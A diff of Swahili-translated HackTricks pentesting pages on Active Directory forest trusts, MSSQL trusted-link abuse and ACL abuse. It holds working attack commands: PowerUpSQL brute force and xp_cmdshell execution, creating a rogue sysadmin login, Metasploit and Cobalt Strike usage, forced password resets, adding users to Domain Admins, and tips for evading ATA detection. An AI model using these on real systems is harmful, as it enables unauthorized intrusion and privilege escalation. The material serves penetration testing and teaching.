- Uhusiano wa uaminifu unaweza pia kuwa **wa kupitisha** (A inauamini B, B inauamini C, kisha A inauamini C) au **usio wa kupitisha**.
- Uhusiano wa uaminifu unaweza kuanzishwa kama **uaminifu wa pande mbili** (zote zinauamini kila mmoja) au kama **uaminifu wa njia moja** (moja tu inauamini nyingine).
- Uhusiano wa uaminifu unaweza pia kuwa **wa njia** (A inakuamini B, B inakuamini C, kisha A inakuamini C) au **usio wa njia**.
- Uhusiano wa uaminifu unaweza kuanzishwa kama **uaminifu wa pande mbili** (zote zinakuamini) au kama **uaminifu wa njia moja** (moja tu inakuamini nyingine).
### Attack Path
@ -549,12 +552,25 @@ Ikiwa Kikoa A kinauamini Kikoa B, A ni kikoa kinachouamini na B ni kikoa kinacho
Wavamizi wanaweza kufikia rasilimali katika kikoa kingine kupitia mitambo mitatu kuu:
- **Uanachama wa Kundi la Mitaa**: Viongozi wanaweza kuongezwa kwenye makundi ya mitaa kwenye mashine, kama kundi la "Wasimamizi" kwenye seva, wakitoa udhibiti mkubwa juu ya mashine hiyo.
- **Uanachama wa Kundi la Kikoa la Kigeni**: Viongozi pia wanaweza kuwa wanachama wa makundi ndani ya kikoa cha kigeni. Hata hivyo, ufanisi wa mbinu hii unategemea asili ya uaminifu na upeo wa kundi.
- **Orodha za Udhibiti wa Ufikiaji (ACLs)**: Viongozi wanaweza kutajwa katika **ACL**, hasa kama viumbe katika **ACEs** ndani ya **DACL**, wakitoa ufikiaji wao kwa rasilimali maalum. Kwa wale wanaotaka kuingia kwa undani zaidi katika mitambo ya ACLs, DACLs, na ACEs, karatasi ya nyeupe iliyoitwa “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” ni rasilimali muhimu.
- **Uanachama wa Kundi la Mitaa**: Wakuu wanaweza kuongezwa kwenye makundi ya mitaa kwenye mashine, kama kundi la "Wasimamizi" kwenye seva, wakitoa udhibiti mkubwa juu ya mashine hiyo.
- **Uanachama wa Kundi la Kikoa la Kigeni**: Wakuu pia wanaweza kuwa wanachama wa makundi ndani ya kikoa cha kigeni. Hata hivyo, ufanisi wa njia hii unategemea asili ya uaminifu na upeo wa kundi.
- **Orodha za Udhibiti wa Ufikiaji (ACLs)**: Wakuu wanaweza kutajwa katika **ACL**, hasa kama viumbe katika **ACEs** ndani ya **DACL**, wakitoa ufikiaji kwa rasilimali maalum. Kwa wale wanaotaka kuingia kwa undani zaidi katika mitambo ya ACLs, DACLs, na ACEs, karatasi ya nyeupe iliyoitwa “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” ni rasilimali muhimu.
### Child-to-Parent forest privilege escalation
### Find external users/groups with permissions
Unaweza kuangalia **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** ili kupata wakuu wa usalama wa kigeni katika kikoa. Hizi zitakuwa mtumiaji/kundi kutoka **kikoa/msitu wa kigeni**.
Unaweza kuangalia hii katika **Bloodhound** au kutumia powerview:
```powershell
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
```
### Kuinua ruhusa kutoka kwa mtoto hadi mzazi wa msitu
```bash
# Fro powerview
Get-DomainTrust
SourceName : sub.domain.local --> current domain
@ -565,6 +581,18 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
Njia nyingine za kuhesabu imani za kikoa:
```bash
# Get DCs
nltest /dsgetdc:<DOMAIN>
# Get all domain trusts
nltest /domain_trusts /all_trusts /v
# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> Kuna **funguo 2 za kuaminika**, moja kwa _Child --> Parent_ na nyingine kwa _Parent_ --> _Child_.\
> Unaweza kutumia ile inayotumika na eneo la sasa kwa:
@ -590,7 +618,7 @@ Kuelewa jinsi Configuration Naming Context (NC) inavyoweza kutumika ni muhimu. C
Konteina ya Sites ya Configuration NC inajumuisha taarifa kuhusu tovuti za kompyuta zote zilizounganishwa na eneo ndani ya msitu wa AD. Kwa kufanya kazi na privileges za SYSTEM kwenye DC yoyote, washambuliaji wanaweza kuunganisha GPOs kwenye tovuti za root DC. Kitendo hiki kinaweza kuhatarisha eneo la mzazi kwa kubadilisha sera zinazotumika kwenye tovuti hizi.
Kwa taarifa za kina, mtu anaweza kuchunguza utafiti kuhusu [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
Kwa maelezo ya kina, mtu anaweza kuchunguza utafiti kuhusu [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
**Compromise any gMSA in the forest**
@ -611,7 +639,7 @@ Ukatili wa ADCS ESC5 unalenga udhibiti wa vitu vya Public Key Infrastructure (PK
Maelezo zaidi kuhusu hili yanaweza kusomwa katika [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Katika hali zisizo na ADCS, mshambuliaji ana uwezo wa kuanzisha vipengele muhimu, kama ilivyojadiliwa katika [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### External Forest Domain - One-Way (Inbound) or bidirectional
```powershell
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
@ -621,14 +649,14 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
Katika hali hii **domeni yako inatambuliwa** na moja ya nje ikikupa **idhini zisizojulikana** juu yake. Utahitaji kutafuta **ni wakuu gani wa domeni yako wana ufikiaji gani juu ya domeni ya nje** na kisha jaribu kuifanyia shambulio:
Katika hali hii **domeni yako inatambuliwa** na moja ya nje ikikupa **idhini zisizojulikana** juu yake. Utahitaji kutafuta **ni wakuu gani wa domeni yako wana ufikiaji gani juu ya domeni ya nje** na kisha jaribu kuifanyia kazi:
{{#ref}}
external-forest-domain-oneway-inbound.md
{{#endref}}
### Domeni ya Msitu wa Nje - Njia Moja (Nje)
```powershell
```bash
Get-DomainTrust -Domain current.local
SourceName : current.local --> Current domain
@ -641,16 +669,16 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
Katika hali hii **domeni yako** in **kuamini** baadhi ya **mamlaka** kwa kiongozi kutoka **domeni tofauti**.
Hata hivyo, wakati **domeni inapoaminika** na domeni inayokuamini, domeni inayokuamini **inaunda mtumiaji** mwenye **jina linaloweza kutabiriwa** ambalo linatumia kama **nenosiri nenosiri lililoaminika**. Hii ina maana kwamba inawezekana **kufikia mtumiaji kutoka kwenye domeni inayokuamini ili kuingia kwenye ile inayokuamini** ili kuhesabu na kujaribu kupandisha mamlaka zaidi:
Hata hivyo, wakati **domeni inapoaminika** na domeni inayokuamini, domeni iliyoaminika **inaunda mtumiaji** mwenye **jina linaloweza kutabiriwa** ambalo linatumia **nenosiri la kuaminika**. Hii ina maana kwamba inawezekana **kufikia mtumiaji kutoka kwenye domeni inayokuamini ili kuingia kwenye ile iliyoaminika** ili kuhesabu na kujaribu kupandisha mamlaka zaidi:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
Njia nyingine ya kuathiri domeni inayokuamini ni kutafuta [**kiungo cha SQL kilichoaminika**](abusing-ad-mssql.md#mssql-trusted-links) kilichoundwa katika **mwelekeo kinyume** cha uaminifu wa domeni (ambayo si ya kawaida sana).
Njia nyingine ya kuathiri domeni iliyoaminika ni kutafuta [**kiungo cha kuaminika cha SQL**](abusing-ad-mssql.md#mssql-trusted-links) kilichoundwa katika **mwelekeo kinyume** cha uaminifu wa domeni (ambayo si ya kawaida sana).
Njia nyingine ya kuathiri domeni inayokuamini ni kusubiri kwenye mashine ambapo **mtumiaji kutoka kwenye domeni inayokuamini anaweza kufikia** kuingia kupitia **RDP**. Kisha, mshambuliaji anaweza kuingiza msimbo katika mchakato wa kikao cha RDP na **kufikia domeni ya asili ya mwathirika** kutoka pale.\
Zaidi ya hayo, ikiwa **mwathirika ameunganisha diski yake ngumu**, kutoka kwenye mchakato wa kikao cha **RDP** mshambuliaji anaweza kuhifadhi **backdoors** kwenye **kabrasha la kuanzisha la diski ngumu**. Mbinu hii inaitwa **RDPInception.**
Njia nyingine ya kuathiri domeni iliyoaminika ni kusubiri kwenye mashine ambapo **mtumiaji kutoka kwenye domeni iliyoaminika anaweza kufikia** kuingia kupitia **RDP**. Kisha, mshambuliaji anaweza kuingiza msimbo katika mchakato wa kikao cha RDP na **kufikia domeni ya asili ya mwathirika** kutoka pale.\
Zaidi ya hayo, ikiwa **mwathirika ameunganisha diski yake ngumu**, kutoka kwenye mchakato wa **kikao cha RDP** mshambuliaji anaweza kuhifadhi **backdoors** kwenye **folda ya kuanzisha ya diski ngumu**. Mbinu hii inaitwa **RDPInception.**
{{#ref}}
rdp-sessions-abuse.md
@ -660,8 +688,8 @@ rdp-sessions-abuse.md
### **SID Filtering:**
- Hatari ya mashambulizi yanayotumia sifa ya historia ya SID katika uaminifu wa misitu inapunguziliwa mbali na SID Filtering, ambayo imewezeshwa kwa chaguo-msingi kwenye uaminifu wote wa kati ya misitu. Hii inategemea dhana kwamba uaminifu wa ndani ya misitu ni salama, ikizingatia msitu, badala ya domeni, kama mpaka wa usalama kulingana na mtazamo wa Microsoft.
- Hata hivyo, kuna mtego: filtering ya SID inaweza kuingilia kati programu na ufikiaji wa watumiaji, na kusababisha kuondolewa kwake mara kwa mara.
- Hatari ya mashambulizi yanayotumia sifa ya historia ya SID katika uaminifu wa msitu inapunguziliwa mbali na SID Filtering, ambayo imewezeshwa kwa chaguo-msingi kwenye uaminifu wote wa msitu. Hii inategemea dhana kwamba uaminifu wa ndani ya msitu ni salama, ukizingatia msitu, badala ya domeni, kama mpaka wa usalama kulingana na mtazamo wa Microsoft.
- Hata hivyo, kuna tatizo: SID filtering inaweza kuingilia programu na ufikiaji wa watumiaji, na kusababisha kuondolewa kwake mara kwa mara.
### **Uthibitishaji wa Chaguo:**
@ -678,23 +706,23 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
## Ulinzi wa Jumla
[**Jifunze zaidi kuhusu jinsi ya kulinda akidi hapa.**](../stealing-credentials/credentials-protections.md)
[**Jifunze zaidi kuhusu jinsi ya kulinda hati hapa.**](../stealing-credentials/credentials-protections.md)
### **Hatua za Kijamii za Ulinzi wa Akidi**
### **Hatua za Kijamii za Ulinzi wa Hati**
- **Vikwazo vya Wasimamizi wa Domeni**: Inapendekezwa kwamba Wasimamizi wa Domeni wanapaswa kuruhusiwa kuingia tu kwenye Wasimamizi wa Domeni, kuepuka matumizi yao kwenye mwenyeji wengine.
- **Mamlaka ya Akaunti ya Huduma**: Huduma hazipaswi kuendeshwa kwa mamlaka ya Wasimamizi wa Domeni (DA) ili kudumisha usalama.
- **Kikomo cha Muda wa Mamlaka**: Kwa kazi zinazohitaji mamlaka ya DA, muda wao unapaswa kuwa mdogo. Hii inaweza kufikiwa kwa: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Kikomo cha Mamlaka ya Muda**: Kwa kazi zinazohitaji mamlaka ya DA, muda wao unapaswa kuwa mdogo. Hii inaweza kufikiwa kwa: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Kutekeleza Mbinu za Udanganyifu**
- Kutekeleza udanganyifu kunahusisha kuweka mitego, kama vile watumiaji wa kudanganya au kompyuta, zikiwa na sifa kama vile nenosiri ambazo hazitaisha au zimewekwa kama Zinazoaminika kwa Delegation. Njia ya kina inajumuisha kuunda watumiaji wenye haki maalum au kuwaongeza kwenye vikundi vya mamlaka ya juu.
- Kutekeleza udanganyifu kunahusisha kuweka mitego, kama vile watumiaji au kompyuta za kudanganya, zikiwa na sifa kama vile nenosiri ambalo halipotei au limewekwa kama Kuaminika kwa Delegation. Njia ya kina inajumuisha kuunda watumiaji wenye haki maalum au kuwaongeza kwenye vikundi vya mamlaka ya juu.
- Mfano wa vitendo unahusisha kutumia zana kama: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Zaidi kuhusu kutekeleza mbinu za udanganyifu zinaweza kupatikana kwenye [Deploy-Deception kwenye GitHub](https://github.com/samratashok/Deploy-Deception).
- Zaidi kuhusu kutekeleza mbinu za udanganyifu yanaweza kupatikana kwenye [Deploy-Deception kwenye GitHub](https://github.com/samratashok/Deploy-Deception).
### **Kutambua Udanganyifu**
- **Kwa Vitu vya Mtumiaji**: Viashiria vya kutatanisha ni pamoja na ObjectSID isiyo ya kawaida, kuingia mara chache, tarehe za uundaji, na idadi ndogo ya nywila mbaya.
- **Kwa Vitu vya Mtumiaji**: Viashiria vya kutatanisha ni pamoja na ObjectSID isiyo ya kawaida, kuingia mara chache, tarehe za uumbaji, na idadi ndogo ya nenosiri mbaya.
- **Viashiria vya Jumla**: Kulinganisha sifa za vitu vya kudanganya vinavyowezekana na zile za halali kunaweza kufichua kutokuelewana. Zana kama [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) zinaweza kusaidia katika kutambua udanganyifu kama huo.
### **Kupita Mfumo wa Ugunduzi**
@ -702,7 +730,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
- **Kupita Ugunduzi wa Microsoft ATA**:
- **Uhesabuji wa Watumiaji**: Kuepuka uhesabuji wa kikao kwenye Wasimamizi wa Domeni ili kuzuia ugunduzi wa ATA.
- **Uigaji wa Tiketi**: Kutumia funguo za **aes** kwa ajili ya uundaji wa tiketi husaidia kuepuka ugunduzi kwa kutoshuka hadi NTLM.
- **Mashambulizi ya DCSync**: Kutekeleza kutoka kwa Wasimamizi wa Domeni si sahihi ili kuepuka ugunduzi wa ATA, kwani utekelezaji wa moja kwa moja kutoka kwa Wasimamizi wa Domeni utaanzisha arifa.
- **Mashambulizi ya DCSync**: Kutekeleza kutoka kwa Wasimamizi wa Domeni si pendekezo, kwani kutekeleza moja kwa moja kutoka kwa Wasimamizi wa Domeni kutasababisha arifa.
## Marejeleo

View File

@ -3,11 +3,11 @@
{{#include ../../banners/hacktricks-training.md}}
## **MSSQL Enumeration / Discovery**
## **MSSQL Uainishaji / Ugunduzi**
### Python
Chombo cha [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) kinategemea impacket, na pia kinaruhusu kuthibitisha kwa kutumia tiketi za kerberos, na kushambulia kupitia minyororo ya viungo.
Zana ya [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) inategemea impacket, na pia inaruhusu kuthibitisha kwa kutumia tiketi za kerberos, na kushambulia kupitia minyororo ya viungo.
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
```shell
@ -91,11 +91,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
### Powershell
Moduli ya powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) ni muhimu sana katika kesi hii.
```powershell
```bash
Import-Module .\PowerupSQL.psd1
````
### Kuorodhesha kutoka kwenye mtandao bila kikao cha kikoa
```powershell
```bash
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
@ -109,7 +109,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP Verbose Threads
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```
### Kuorodhesha kutoka ndani ya eneo
```powershell
```bash
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
@ -118,6 +118,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
# Try dictionary attack to login
Invoke-SQLAuditWeakLoginPw
# Search SPNs of common software and try the default creds
Get-SQLServerDefaultLoginPw
#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
@ -127,14 +133,26 @@ Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
```
## MSSQL Msingi wa Kutumiwa
## MSSQL Basic Abuse
### Access DB
```bash
# List databases
Get-SQLInstanceDomain | Get-SQLDatabase
# List tables in a DB you can read
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName
# List columns in a table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName
# Get some sample data from a column in a table (columns username & passwor din the example)
Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10
### Upatikanaji wa DB
```powershell
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
#Dump an instance (a lotof CVSs generated in current dir)
#Dump an instance (a lot of CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
# Search keywords in columns trying to access the MSSQL DBs
@ -144,26 +162,26 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
### MSSQL RCE
Inaweza pia kuwa inawezekana **kutekeleza amri** ndani ya mwenyeji wa MSSQL
```powershell
```bash
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
```
Angalia katika ukurasa ulioelezwa katika **sehemu ifuatayo jinsi ya kufanya hivi kwa mikono.**
Check in the page mentioned in the **following section how to do this manually.**
### Njia za Msingi za Kudhuru MSSQL
### MSSQL Basic Hacking Tricks
{{#ref}}
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
{{#endref}}
## Viungo Vilivyoaminika vya MSSQL
## MSSQL Trusted Links
Ikiwa mfano wa MSSQL umeaminika (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, ataweza **kutumia uhusiano wa kuaminiana kutekeleza maswali pia katika mfano mwingine**. Hizi kuaminika zinaweza kuunganishwa na kwa wakati fulani mtumiaji anaweza kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.
Ikiwa mfano wa MSSQL unaminiwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminiwa, ataweza **kutumia uhusiano wa kuaminiana kutekeleza maswali pia katika mfano mwingine**. Hii inategemea inaweza kuunganishwa na kwa wakati fulani mtumiaji anaweza kupata database isiyo na usanidi mzuri ambapo anaweza kutekeleza amri.
**Viungo kati ya databases vinatumika hata katika kuaminiana kwa misitu.**
**Viungo kati ya databases vinafanya kazi hata kupitia uaminifu wa msitu.**
### Kunyanyaswa kwa Powershell
```powershell
### Powershell Abuse
```bash
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
@ -194,21 +212,27 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
```
Zana nyingine inayofanana ambayo inaweza kutumika ni [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn):
```bash
SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
# Cobalt Strike
inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
```
### Metasploit
Unaweza kwa urahisi kuangalia viungo vya kuaminika ukitumia metasploit.
Unaweza kwa urahisi kuangalia viungo vinavyoaminika kwa kutumia metasploit.
```bash
#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
Tafadhali kumbuka kwamba metasploit itajaribu kutumia tu kazi ya `openquery()` katika MSSQL (hivyo, ikiwa huwezi kutekeleza amri na `openquery()` utahitaji kujaribu njia ya `EXECUTE` **kwa mikono** kutekeleza amri, angalia zaidi hapa chini.)
Kumbuka kwamba metasploit itajaribu kutumia tu kazi ya `openquery()` katika MSSQL (hivyo, ikiwa huwezi kutekeleza amri na `openquery()` utahitaji kujaribu njia ya `EXECUTE` **kwa mikono** kutekeleza amri, angalia zaidi hapa chini.)
### Mikono - Openquery()
Kutoka **Linux** unaweza kupata shell ya MSSQL console kwa kutumia **sqsh** na **mssqlclient.py.**
Kutoka **Windows** pia unaweza kupata viungo na kutekeleza amri kwa mikono ukitumia **MSSQL client kama** [**HeidiSQL**](https://www.heidisql.com)
Kutoka **Windows** unaweza pia kupata viungo na kutekeleza amri kwa mikono ukitumia **MSSQL client kama** [**HeidiSQL**](https://www.heidisql.com)
_Ingia kwa kutumia uthibitisho wa Windows:_
@ -244,7 +268,7 @@ Ikiwa huwezi kufanya vitendo kama `exec xp_cmdshell` kutoka `openquery()`, jarib
### Manual - EXECUTE
Unaweza pia kutumia vibaya viungo vinavyoaminika kwa kutumia `EXECUTE`:
Unaweza pia kutumia viungo vya kuaminika kwa kutumia `EXECUTE`:
```bash
#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
@ -252,9 +276,9 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
```
## Local Privilege Escalation
Mkasisi wa **MSSQL local user** kwa kawaida ana aina maalum ya ruhusa inayoitwa **`SeImpersonatePrivilege`**. Hii inaruhusu akaunti "kujifanya mteja baada ya uthibitisho".
Mtumiaji wa **MSSQL wa ndani** kwa kawaida ana aina maalum ya ruhusa inayoitwa **`SeImpersonatePrivilege`**. Hii inaruhusu akaunti "kujifanya mteja baada ya uthibitisho".
Mkakati ambao waandishi wengi wamekuja nao ni kulazimisha huduma ya SYSTEM kuthibitisha kwa huduma ya rogue au man-in-the-middle ambayo mshambuliaji anaunda. Huduma hii ya rogue inaweza kujifanya huduma ya SYSTEM wakati inajaribu kuthibitisha.
Mkakati ambao waandishi wengi wamekuja nao ni kulazimisha huduma ya SYSTEM kuthibitisha kwa huduma ya uasi au mtu katikati ambayo mshambuliaji anaunda. Huduma hii ya uasi inaweza kujifanya kama huduma ya SYSTEM wakati inajaribu kuthibitisha.
[SweetPotato](https://github.com/CCob/SweetPotato) ina mkusanyiko wa mbinu hizi mbalimbali ambazo zinaweza kutekelezwa kupitia amri ya `execute-assembly` ya Beacon.

View File

@ -9,22 +9,22 @@
Haki hii inampa mshambuliaji udhibiti kamili juu ya akaunti ya mtumiaji wa lengo. Mara haki za `GenericAll` zinapothibitishwa kwa kutumia amri `Get-ObjectAcl`, mshambuliaji anaweza:
- **Kubadilisha Nywila ya Lengo**: Kwa kutumia `net user <username> <password> /domain`, mshambuliaji anaweza kurekebisha nywila ya mtumiaji.
- **Kerberoasting ya Lengo**: Weka SPN kwenye akaunti ya mtumiaji ili kuifanya iweze kerberoastable, kisha tumia Rubeus na targetedKerberoast.py kutoa na kujaribu kuvunja hash za tiketi ya kutoa tiketi (TGT).
```powershell
- **Kerberoasting ya Lengo**: Weka SPN kwenye akaunti ya mtumiaji ili kuifanya iweze kerberoastable, kisha tumia Rubeus na targetedKerberoast.py kutoa na kujaribu kuvunja tiketi za tiketi za kutoa (TGT) hashes.
```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Targeted ASREPRoasting**: Zima awali ya uthibitisho kwa mtumiaji, ikifanya akaunti yao kuwa hatarini kwa ASREPRoasting.
```powershell
- **Targeted ASREPRoasting**: Zima uthibitisho wa awali kwa mtumiaji, na kufanya akaunti yao kuwa hatarini kwa ASREPRoasting.
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **GenericAll Rights on Group**
## **GenericAll Haki kwenye Kundi**
Haki hii inaruhusu mshambuliaji kubadilisha uanachama wa kikundi ikiwa wana haki za `GenericAll` kwenye kikundi kama `Domain Admins`. Baada ya kubaini jina la kipekee la kikundi kwa kutumia `Get-NetGroup`, mshambuliaji anaweza:
Haki hii inamruhusu mshambuliaji kubadilisha uanachama wa kundi ikiwa wana haki za `GenericAll` kwenye kundi kama `Domain Admins`. Baada ya kubaini jina la kipekee la kundi kwa kutumia `Get-NetGroup`, mshambuliaji anaweza:
- **Kujiongeza kwenye Kikundi cha Domain Admins**: Hii inaweza kufanywa kupitia amri za moja kwa moja au kutumia moduli kama Active Directory au PowerSploit.
```powershell
- **Kujiongeza kwenye Kundi la Domain Admins**: Hii inaweza kufanywa kupitia amri za moja kwa moja au kutumia moduli kama Active Directory au PowerSploit.
```bash
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
@ -40,27 +40,27 @@ Kuwa na haki hizi kwenye kituo cha kompyuta au akaunti ya mtumiaji kunaruhusu:
Ikiwa mtumiaji ana haki za `WriteProperty` kwenye vitu vyote kwa kundi maalum (mfano, `Domain Admins`), wanaweza:
- **Kujiongeza Kwenye Kundi la Domain Admins**: Inaweza kufanywa kwa kuunganisha amri za `net user` na `Add-NetGroupUser`, mbinu hii inaruhusu kupandishwa vyeo ndani ya eneo.
```powershell
- **Add Themselves to the Domain Admins Group**: Inawezekana kwa kuunganisha amri za `net user` na `Add-NetGroupUser`, mbinu hii inaruhusu kupandisha hadhi ndani ya eneo.
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Self (Self-Membership) on Group**
Haki hii inawawezesha washambuliaji kujiongeza kwenye vikundi maalum, kama `Domain Admins`, kupitia amri zinazoshughulikia uanachama wa kundi moja kwa moja. Kutumia mfuatano wa amri zifuatazo kunaruhusu kujiongeza mwenyewe:
```powershell
Haki hii inawawezesha washambuliaji kujiongeza kwenye vikundi maalum, kama `Domain Admins`, kupitia amri zinazoshughulikia uanachama wa kundi moja kwa moja. Kutumia mfuatano wa amri zifuatazo kunaruhusu kujiongeza:
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (Self-Membership)**
Haki inayofanana, hii inawawezesha washambuliaji kujiongeza moja kwa moja kwenye vikundi kwa kubadilisha mali za kikundi ikiwa wana haki ya `WriteProperty` kwenye vikundi hivyo. Uthibitisho na utekelezaji wa haki hii hufanywa kwa:
```powershell
Privilege hii inayofanana, inawawezesha washambuliaji kujiongeza moja kwa moja kwenye vikundi kwa kubadilisha mali za kikundi ikiwa wana haki ya `WriteProperty` kwenye vikundi hivyo. Uthibitisho na utekelezaji wa haki hii hufanywa kwa:
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
Kuwa na `ExtendedRight` kwa mtumiaji kwa `User-Force-Change-Password` kunaruhusu mabadiliko ya nywila bila kujua nywila ya sasa. Uthibitishaji wa haki hii na matumizi yake yanaweza kufanywa kupitia PowerShell au zana nyingine za mistari ya amri, zikitoa mbinu kadhaa za kubadilisha nywila ya mtumiaji, ikiwa ni pamoja na vikao vya mwingiliano na mistari moja kwa mazingira yasiyo ya mwingiliano. Amri zinatofautiana kutoka kwa matumizi rahisi ya PowerShell hadi kutumia `rpcclient` kwenye Linux, ikionyesha ufanisi wa njia za shambulio.
```powershell
Kushikilia `ExtendedRight` kwa mtumiaji kwa `User-Force-Change-Password` kunaruhusu mabadiliko ya nywila bila kujua nywila ya sasa. Uthibitishaji wa haki hii na matumizi yake yanaweza kufanywa kupitia PowerShell au zana nyingine za mistari ya amri, zikitoa mbinu kadhaa za kubadilisha nywila ya mtumiaji, ikiwa ni pamoja na vikao vya mwingiliano na mistari moja kwa mazingira yasiyo ya mwingiliano. Amri zinatofautiana kutoka kwa matumizi rahisi ya PowerShell hadi kutumia `rpcclient` kwenye Linux, zikionyesha ufanisi wa njia za shambulio.
```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@ -73,7 +73,7 @@ rpcclient -U KnownUsername 10.10.10.192
## **WriteOwner kwenye Kundi**
